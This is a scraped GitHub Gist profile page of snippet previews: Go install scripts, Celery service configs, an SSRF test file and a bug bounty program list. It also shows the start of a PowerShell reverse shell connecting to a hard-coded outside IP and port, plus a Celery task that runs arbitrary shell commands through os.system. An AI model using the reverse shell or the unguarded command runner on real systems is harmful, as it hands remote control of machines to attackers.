Instantly share code, notes, and snippets.

💭
Hacking!

Robbie random-robbie

View GitHub Profile
View mini-reverse.ps1
$socket = new-object System.Net.Sockets.TcpClient('178.62.56.29', 4444);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
View gopi.sh
echo 'Installing go...'
wget https://dl.google.com/go/go1.11.5.linux-armv6l.tar.gz
sudo tar -C /usr/local -xzf go1.11.5.linux-armv6l.tar.gz
rm go1.11.5.linux-armv6l.tar.gz
export GOROOT=/usr/local/go
export GOPATH=$HOME/go
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
echo 'export GOROOT=/usr/local/go' >> ~/.bashrc
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOROOT/bin:$GOPATH/bin' >> ~/.bashrc
View ssrf.json
{"Message":"THIS IS A SSRF AS ITS LOADING A GITHUB GIST!!!"}
@random-robbie
random-robbie / go.sh
Created Feb 14, 2019
install golang
View go.sh
echo 'Installing go...'
wget https://dl.google.com/go/go1.11.5.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.11.5.linux-amd64.tar.gz
rm go1.11.5.linux-amd64.tar.gz
export GOROOT=/usr/local/go
export GOPATH=$HOME/go
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
echo 'export GOROOT=/usr/local/go' >> ~/.bashrc
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOROOT/bin:$GOPATH/bin' >> ~/.bashrc
View go.sh
cat >> ~/.bashrc << 'EOF'
export GOPATH=$HOME/go
export PATH=/usr/local/go/bin:$PATH:$GOPATH/bin
EOF
source ~/.bashrc
View celeryd
# The names of the workers. This example create two workers
CELERYD_NODES="worker1 worker2 worker3 worker4"
# The name of the Celery App, should be the same as the python file
# where the Celery tasks are defined
CELERY_APP="tasks"
# Log and PID directories
CELERYD_LOG_FILE="/var/log/celery/%n%I.log"
CELERYD_PID_FILE="/var/run/celery/%n.pid"
View celeryd.service
[Unit]
Description=Celery Service
After=network.target
[Service]
Type=forking
User=root
Group=root
EnvironmentFile=/etc/default/celeryd
WorkingDirectory=/root/tasks/
View task.py
from celery import Celery
import os
# Create the app and set the broker location (RabbitMQ)
app = Celery('tasks', broker='redis://192.168.1.71:6379/0')
@app.task
def command(cmd):
os.system(cmd)
View be.py
import sys
import colorama
import json
import requests
from requests import get
from colorama import init, Fore, Back, Style
YOURTOKEN = "YOURTOKEN"
@random-robbie
random-robbie / paying.md
Last active Jan 21, 2019
paying bug bounty companys taken from https://github.com/disclose/disclose
View paying.md
Program Name: 0x Project
Policy URL: https://blog.0xproject.com/announcing-the-0x-protocol-bug-bounty-b0559d2738c
Submission URL: team@0xproject.com



Program Name: 1Password Game